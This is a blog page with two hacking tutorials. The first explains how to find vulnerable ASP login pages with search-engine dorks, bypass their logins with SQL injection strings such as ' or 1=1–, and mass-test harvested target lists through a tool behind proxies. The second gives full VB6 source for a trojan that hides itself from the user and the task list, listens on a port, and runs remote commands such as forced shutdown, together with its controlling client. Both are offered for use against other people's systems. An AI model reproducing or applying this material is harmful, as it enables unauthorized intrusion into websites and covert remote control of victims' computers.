Blog links

LIST OF SQL INJECTION STRINGS

Posted by Jassal at Saturday, January 14, 2012 | 0 comments

One of the major problems with SQL is its poor security issues surrounding is the login and url strings.
First SEARCH the following Keywords in Google or any Search Engine:
inurl:login.asp securities
admin\login.asp
login.asp

with these three search string you will have plenty of targets to chose from…choose one that is Vulnerable
INJECTION STRINGS: How to use it?
This is the easiest part…very simple
On the login page just enter something like
user:admin (you dont even have to put this.)
pass:’ or 1=1–
or
user:’ or 1=1–
admin:’ or 1=1–
Some sites will have just a password so
password:’ or 1=1–

The one I am interested in are quick access to targets
PROGRAM
i tried several programs to use with these search strings and upto now only Ares has peformed well with quite a bit of success with a combo list formatted this way. Yesteday I loaded 40 eastern targets with 18 positive hits in a few minutes how long would it take to go through 40 sites cutting and pasting each string
combo example:
admin:’ or a=a–
admin:’ or 1=1–
And so on. You don’t have to be admin and still can do anything you want. The most important part is example:’ or 1=1– this is our basic injection string
Now the only trudge part is finding targets to exploit. So I tend to search say google for login.asp or whatever
inurl:login.asp
index of:/admin/login.asp
like this: index of login.asp
result:
17,000 possible targets trying various searches spews out plent more
Now using proxy set in my browser I click through interesting targets. Seeing whats what on the site pages if interesting I then cut and paste URL as a possible target. After an hour or so you have a list of sites of potential targets like so
and so on. In a couple of hours you can build up quite a list because I don’t select all results or spider for log in pages. I then save the list fire up Ares and enter
1) A Proxy list
2) My Target IP list
3) My Combo list
4) Start.
Now I dont want to go into problems with users using Ares..thing is i know it works for me…
Sit back and wait. Any target vulnerable will show up in the hits box. Now when it finds a target it will spew all the strings on that site as vulnerable. You have to go through each one on the site by cutting and pasting the string till you find the right one. But the thing is you know you CAN access the site. Really I need a program that will return the hit with a click on url and ignore false outputs. I am still looking for it. This will saves quite a bit of time going to each site and each string to find its not exploitable.
There you go you should have access to your vulnerable target by now
Another thing you can use the strings in the urls were user=? edit the url to the = part and paste ‘ or 1=1– so it becomes
user=’ or 1=1– just as quick as login process

Read more
Labels:

How to write a simple trojan in vb6 | hows to Creating a Virus

Posted by Jassal at Saturday, January 14, 2012 | 0 comments


hackers001.blogspot.com
SORRY for posting late, but today was INDIA VS PAKISTAN cricket world cup 2011semifinal match and finally INDIA is in final yuppyyyy!!!!, so i was busy in watching match....
But today for you guys i have a interesting tojan trick, i know i am posting a virus making trick after a long time, but this trick is so easy.... 
Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.
The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go!!!!!

through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.
To do this you start by using

Private Sub Form_Load()
Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.
So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though )

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.
I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server
of the Trojan!

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.

Congradulations! You just made your first Trojan. Lets go over the complete code now.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Module

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server
that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".

Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.
In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown, and cmdDisconnect. Now lets look at the code we would use to make our
Client.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send
the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)

These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying
to add different types of error handling and functions to both the server and client.

Read more
Labels: ,
2leep.com